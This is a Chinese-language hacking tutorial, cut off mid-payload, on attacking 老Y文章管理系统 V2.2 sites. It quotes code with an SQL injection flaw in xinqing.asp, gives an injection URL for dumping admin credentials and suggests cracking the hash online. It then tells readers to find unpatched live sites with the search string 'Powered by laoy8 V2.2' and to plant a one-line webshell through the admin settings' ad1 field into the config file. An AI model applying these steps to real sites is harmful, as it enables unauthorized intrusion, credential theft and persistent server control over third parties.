今天有朋友让我帮忙给他们公司的网站检查下安全性,在答应了朋友之后。打开朋友公司网站看了一下,发现是用老Y文章管理系统V2.2,下面就开始对其进行进一步的分析。
分析对像:老Y文章管理系统 V2.2,因以下有些地址涉及隐私问题,所以部分地址去除或者隐藏。
(一)前期分析
由于该套系统是ASP+ACCESS,可能对于我们来说就有很多的限制,不像MSSQL,MYSQL有那么多的扩展和内置函数使用,其实像这些asp,php,jsp的动态网站注入,很大一方面是需要对各种数据库的了解。接下来,我们进入老Y文章管理系统官方网站看看:www.laoy*.cn,随便点个http://www.laoy*.cn/Class.asp?ID=4,并在后面加了个逗号,提示说参数不合法,被过滤了,本想注册个用户再看看,但想到是ACCESS数据库,就算过滤不严插入一句话到数据库也起不到多大作用,所以还是下载源代码到本机进一步分析。
(二)漏洞分析
由于代码不是很多,我们就来依次分析下主要的文件,使用正规表达式((select|update|delete|insert)+.*(from|set|into)+.*(where)+.*)来搜索相关的asp文件,由于access不支持多句查询,这里其实完全可以只搜索含有关键词select的asp文件,再xinqing.asp中找到如下代码:
Code highlighting produced by Actipro CodeHighlighter (freeware)
http://www.CodeHighlighter.com/
-->action = Replace(Trim(Request.QueryString("action")),"'","")
id = Replace(Trim(Request.QueryString("id")),"'","")
typee = Replace(Trim(Request.QueryString("typee")),"'","")
if action="show" then
set rs=server.createobject("adodb.recordset")
sql="Select * From Yao_XinQing Where cstr(ArticleID)="&id&""
rs.open sql,conn,1,1
省略N多
相信大家都能明白吧,id变量只是单纯的过滤了单引号就带入进了数据库,很明显产生了注入,简单分析下代码的意思,然后来构造自己的 注入语句 URL?action=show&id=317 这里id的变量从Yao_XinQing表中找的一个存在的值,然后放到注入工具就可以得到管理员用户名和密码,当然也可以用我给大家提供的工具,直接爆出管理员信息,然后把密码拿到www.cmd*.com去破解,接下来的事就简单。
(三)网络实战
1. 通过关键字搜索老Y文章管理系统V2.2
既然“老Y文章管理系统V2.2”存在漏洞,那么赶紧去网络战场去实战下,由于官方网站已经打了补丁最新版本是V2.3,所以我们找到合适的关键词用“Powered by laoy8 V2.2”。
2.前期准备工作
由于前面的很多网站已被挂马,大家还是尽量选稍微靠后的网站进行测试,我用自己的空间http://www.**528.com/来尝试,直接用工具爆出用户名和密码登陆后台,可是发现数据库备份被删了,这可怎么办,突然想到由于配置文件(inc/config.asp)是asp,这样不就可以通过配置信息写入一句话木马,说着查看了下Admin_Setting.asp,发现除了ad1,ad2,ad3没有过滤,其他的参数由于过滤了双引号,那么我们就利用ad1参数来进行本地提交一句户木马到服务器,将后台的页面保存为admin_setting.htm,如图1所示。
图1 创造“有利条件”
3.获取Webshell
将提交地址改为http://www.ibk***.com/admin/Admin_Setting.asp?Action=Edit,将ad1的参数设为:
Code highlighting produced by Actipro CodeHighlight** (freeware)
http://www.CodeHighlight**.com/
-->"%>